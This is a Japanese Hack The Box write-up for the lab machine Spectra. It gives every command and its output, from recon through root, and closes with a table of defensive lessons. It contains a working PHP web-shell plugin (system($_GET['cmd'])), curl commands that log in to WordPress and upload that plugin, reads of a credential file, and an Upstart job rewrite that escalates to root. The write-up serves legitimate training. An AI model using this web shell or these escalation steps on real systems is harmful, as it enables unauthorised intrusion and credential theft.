Hack The BoxのWriteup(Spectra)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Spectra — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 3306/mysql
→
“Issue Tracking”
/main/(WP), /testing/ 発見
→
/testing/ ディレクトリ列挙
wp-config.php.save漏洩
→
administrator:devteam01
→
悪意プラグインアップロード
system($_GET[‘cmd’])
→
/etc/autologin/passwd
katie:SummerHereWeCome!!
→
SSH → user.txt ✓
→
sudo initctl
test.conf書込 (developers group)
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.49
nmap -sV -sC -p 22,80,3306 10.129.90.49
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1
80/tcp   open  http    nginx 1.17.4
3306/tcp open  mysql   MySQL (認証なしでのアクセスは不可)

トップページの確認とvhost登録

BASH
curl -s http://10.129.90.49/
RESULT (本検証の実際の出力)
<h1>Issue Tracking</h1>
<h2>Until IT set up the Jira we can configure and use this for issue tracking.</h2>
<h2><a href="http://spectra.htb/main/index.php">Software Issue Tracker</a></h2>
<h2><a href="http://spectra.htb/testing/index.php">Test</a></h2>
🚨
重要発見: ページ内のリンクがspectra.htbという vhost名で張られている。/main/(WordPress製のIssue Tracker)と /testing/(テスト用ディレクトリ)の2つのサブパスが 本マシンの主要な攻撃対象。
BASH
echo "10.129.90.49  spectra.htb" | sudo tee -a /etc/hosts
⚠️
再検証時の落とし穴: 同じKali環境で本マシンを過去に 別インスタンスIPで検証済みの場合、/etc/hostsに古いIPの spectra.htb行が残っていることがある。単純な「無条件追記」 実装だと、古い行が優先解決され続け新しいターゲットへ疎通しない (本検証でも実際にこの状態に遭遇し、古い行を削除してから新しい 1行を書き直す必要があった — Tabby/Academy HTB等でも確認済みの 既知パターン)。
PHASE 2

/testing/ ディレクトリ列挙によるDB資格情報漏洩 & WordPress管理者ログイン

/testing/ ディレクトリの調査

BASH
curl -s http://spectra.htb/testing/
RESULT
Index of /testing

[DIR] ..
[FILE] wp-config.php.save
[FILE] index.php
...
🚨
重要発見: /testing/にはディレクトリ一覧表示が 有効になっており、エディタの自動バックアップとして残った wp-config.php.save(.php拡張子ではないため サーバーに実行されず生ソースのままダウンロード可能)が 直接閲覧できてしまう。

wp-config.php.save の内容確認

BASH
curl -s http://spectra.htb/testing/wp-config.php.save
RESULT (本検証の実際の出力より)
define('DB_NAME', 'wordpress');
define('DB_USER', 'devtest');
define('DB_PASSWORD', 'devteam01');
define('DB_HOST', 'localhost');
✅
資格情報漏洩! データベースパスワード devteam01が平文で取得できた。ただしユーザー名 devtestはWordPressのDB接続用であり、WP管理画面の ログインユーザー名としては通らない(DBユーザーと WP管理者アカウントは別物)。

WordPress管理者としてのログイン

NOTE
devtestではなくWordPressの既定の管理者アカウント名"administrator"に
対して、漏洩したパスワードをそのまま試す(パスワード使い回しの推測)。
BASH
# 1. testcookie設定のためwp-login.phpへGET
curl -s -c cookies.txt http://spectra.htb/main/wp-login.php > /dev/null

# 2. ログインPOST
curl -s -b cookies.txt -c cookies.txt -X POST \
  http://spectra.htb/main/wp-login.php \
  --data-urlencode "log=administrator" \
  --data-urlencode "pwd=devteam01" \
  --data-urlencode "wp-submit=Log In" \
  --data-urlencode "redirect_to=http://spectra.htb/main/wp-admin/" \
  --data-urlencode "testcookie=1"
✅
ログイン成功! administrator:devteam01で WordPress管理画面(/main/wp-admin/)へのアクセス権を獲得。
PHASE 3

悪意あるプラグインアップロードによるRCE & user.txt取得

Webシェルプラグインの作成

NOTE
WordPress管理者権限があれば、プラグイン管理画面からZIP形式の
プラグインをアップロード・有効化でき、プラグイン内のPHPコードが
そのままサーバー上で実行される(WordPressの正規機能を悪用したRCE)。
PHP (wp-maintenance.php の内容)
<?php
/*
Plugin Name: wp-maintenance
*/
system($_GET["cmd"]);
?>
BASH (ZIP化、ディレクトリ名はwp-maintenance/でなければならない)
mkdir wp-maintenance
cp wp-maintenance.php wp-maintenance/
zip -r wp-maintenance.zip wp-maintenance/

プラグインのアップロード & 有効化

NOTE
プラグインアップロードにはWordPress管理画面のCSRFトークン(_wpnonce)が
必要。まず「プラグインを追加」画面からnonceを取得し、
multipart/form-dataでZIPをupdate.php?action=upload-pluginへPOSTする。
BASH
# nonce取得
NONCE=$(curl -s -b cookies.txt http://spectra.htb/main/wp-admin/plugin-install.php \
  | grep -oP '(?<=name="_wpnonce" value=")[^"]+')

# アップロード
curl -s -b cookies.txt -X POST \
  "http://spectra.htb/main/wp-admin/update.php?action=upload-plugin" \
  -F "_wpnonce=$NONCE" \
  -F "pluginzip=@wp-maintenance.zip;type=application/zip"
RESULT (本検証の実際の出力より)
upload nonce = 'cf26a134e1'
plugin uploaded successfully

Webシェル経由RCE確認

BASH
curl -s "http://spectra.htb/main/wp-content/plugins/wp-maintenance/wp-maintenance.php?cmd=id"
RESULT (本検証の実際の出力)
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
✅
RCE成功! プラグインはwp-maintenance/ディレクトリ 配下に設置される点に注意(wp-maintenance-main/ではない)。

ChromeOS特有の自動ログイン資格情報の窃取

NOTE
本マシンはChromeOS系の機能を模した構成になっており、通常のUbuntuで
使われる/etc/shadow等の代わりに、/etc/autologin/passwd というChromeOS
特有のパスに自動ログイン用パスワードが平文保存されている。
(PDF記載の/backupsパスは本検証のインスタンスでは存在せず、
こちらの経路が実際に機能する確実な経路だった。)
BASH
curl -s "http://spectra.htb/main/wp-content/plugins/wp-maintenance/wp-maintenance.php?cmd=cat+/etc/autologin/passwd"
RESULT (本検証の実際の出力)
SummerHereWeCome!!

SSHログイン & user.txt取得

BASH
sshpass -p 'SummerHereWeCome!!' ssh katie@10.129.90.49 \
  "cat /home/katie/user.txt"
RESULT
e89d27fe195e9114ffa72ba8913a6130
ℹ️
自動ログイン用パスワードが一般ユーザーkatieのSSHパスワードと 一致した(ChromeOS系デバイスでは単一ユーザーの自動ログイン想定の 設計のため)。katieはdevelopersグループに 所属しており、これが次フェーズの伏線になる。
user.txt — katie
e89d27fe195e9114ffa72ba8913a6130
PHASE 4

sudo initctl + Upstartジョブ悪用 — root.txt取得

sudo権限とtest.confの発見

BASH
sudo -l
ls -la /etc/init/test.conf
RESULT (本検証の実際の出力)
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

-rw-rw---- 1 root developers 478 Jun 29  2020 /etc/init/test.conf
🚨
重要発見: katieはsudoで initctl(Upstartのジョブ制御コマンド)をパスワード無しで無制限に 実行可能。さらに/etc/init/test.conf(Upstartジョブ定義) はroot:developers所有でグループ書込可能—— katieはdevelopersグループに所属しているため このファイルを直接書き換えられる。

Upstartジョブ定義の書き換え

NOTE
Upstartのジョブ定義は "start on <イベント名>" という形式でトリガー条件を
指定する。initctl emitで任意のイベント名を発行させることができ、
そのイベント名を待ち受けるジョブのexecコマンドがroot権限(initは
root権限のPID 1相当プロセス)で実行される。
BASH (SSHシェル上で実行)
printf 'start on pwn\ntask\nexec cat /root/root.txt > /tmp/r00t.txt\n' > /etc/init/test.conf
cat /etc/init/test.conf
RESULT
start on pwn
task
exec cat /root/root.txt > /tmp/r00t.txt

initctl emit でジョブをトリガー & root.txt取得

BASH
sudo /sbin/initctl emit pwn
cat /tmp/r00t.txt
RESULT (本検証の実際の出力)
d44519713b889d5e1f9e536d0c6df2fc
✅
root化成功! initctl emit pwnにより test.confのstart on pwn条件が成立し、 exec行がroot権限で実行され、/root/root.txtが /tmp/r00t.txtへコピーされた。
root.txt — sudo initctl + test.conf Upstartジョブ悪用
d44519713b889d5e1f9e536d0c6df2fc
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — katie
e89d27fe195e9114ffa72ba8913a6130
root.txt — sudo initctl + test.conf Upstartジョブ悪用
d44519713b889d5e1f9e536d0c6df2fc

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
バックアップファイルのディレクトリ列挙 /testing/wp-config.php.save データベース資格情報の漏洩 High ディレクトリ一覧表示が有効な/testing/配下で.save拡張子の設定ファイルを直接取得
WordPressプラグイン機能のRCE悪用 /main/wp-admin/ (管理者権限) リモートコード実行 (nginxユーザー) Critical system()呼び出しを含む悪意あるプラグインをZIPでアップロード・自動実行
ChromeOS自動ログインパスワードの平文保存 /etc/autologin/passwd 一般ユーザーパスワードの漏洩 High RCE経由でファイルを読取り、同一パスワードがSSHログインにも流用
sudo無制限initctl + グループ書込可能なUpstartジョブ定義 /sbin/initctl (sudo) + /etc/init/test.conf 権限昇格 (root) Critical ジョブ定義ファイルを書き換えinitctl emitでroot権限のコマンド実行をトリガー

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, vhost発見22/ssh, 80/http, 3306/mysql
2資格情報漏洩/testing/ディレクトリ列挙 → wp-config.php.saveadministrator:devteam01 (パスワード使い回し推測)
3RCE+横移動悪意プラグインアップロード → /etc/autologin/passwd → SSHuser.txt (katie)
4権限昇格sudo initctl + test.conf書換root.txt

学んだ教訓 & 防御策

問題点防御策
テスト用ディレクトリでディレクトリ一覧表示が有効なまま、設定ファイルのバックアップ(.save)が残っている 本番サーバーでディレクトリ一覧表示を無効化し、エディタのバックアップファイルはWebルート外または削除を徹底する。
WordPress管理者パスワードがDB接続パスワードと同一(パスワード使い回し) 用途ごとに独立したパスワードを発行し、使い回しを組織的に禁止する。
WordPress管理画面が信頼できる管理者のみに制限されておらず任意コード実行可能なプラグインをインストールできる 管理者アカウントへのMFA導入、プラグインインストールの承認フロー整備、ファイル整合性監視を実施する。
自動ログイン用パスワードが平文ファイルに保存され一般ユーザーのSSHパスワードとも共用されている 自動ログイン機能自体の必要性を見直し、使うとしても暗号化保存・専用の制限されたアカウントに限定する。
一般ユーザーがsudoで無制限にinitctlを実行でき、かつジョブ定義ファイルがグループ書込可能 sudo権限は特定のジョブ名・オプションに限定する。Upstart/systemdのジョブ定義ファイルは適切な権限(root専用書込)で保護する。
HackTheBox: Spectra | 完全攻略レポート